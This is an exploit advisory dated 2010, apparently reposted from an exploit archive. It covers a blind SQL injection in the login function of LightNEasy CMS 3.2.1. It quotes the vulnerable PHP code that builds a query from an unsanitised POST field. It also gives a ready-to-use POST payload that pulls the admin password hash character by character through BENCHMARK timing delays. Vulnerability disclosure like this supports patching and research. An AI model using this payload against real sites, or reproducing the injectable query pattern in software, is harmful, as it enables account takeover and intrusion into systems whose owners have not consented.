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LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
====================================================== LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability ====================================================== # Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability # Date: 20.09.2010 # Author: Stephan Sattler // Solidmedia.de # Software Website: http://www.lightneasy.org/ # Software Link: http://www.lightneasy.org/addons/downloads/send.php?dlid=127 # Version: 3.2.1 # Special Thanks to: Dominik Landtwing [ Vulnerability] # Vulnerable Code: common.php line 112-148 function login() { global $message, $set, $langmessage, $prefix; if($_SESSION[$set['password']]!="1") { if($_GET['do']=="login" && $_POST['handle']!="") { $result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"'); if($row = fetch_array($result)) { if($row['password'] == sha1($_POST['password'])) { ... }}}}} # Explanation: $_POST['handle'] isn't sanitized before executing the database query. Since the only user after a fresh install is the admin-user with id 1 and a normal visitor can't register we have to retrieve the admin hash by using benchmark(). # Exploiting the Vulnerability // PoC: URL: http://localhost/LNE/LightNEasy.php?do=login Postdata: handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login This will trigger benchmark() if the first character of the admin hash is b. # 0day.today [2024-12-25] #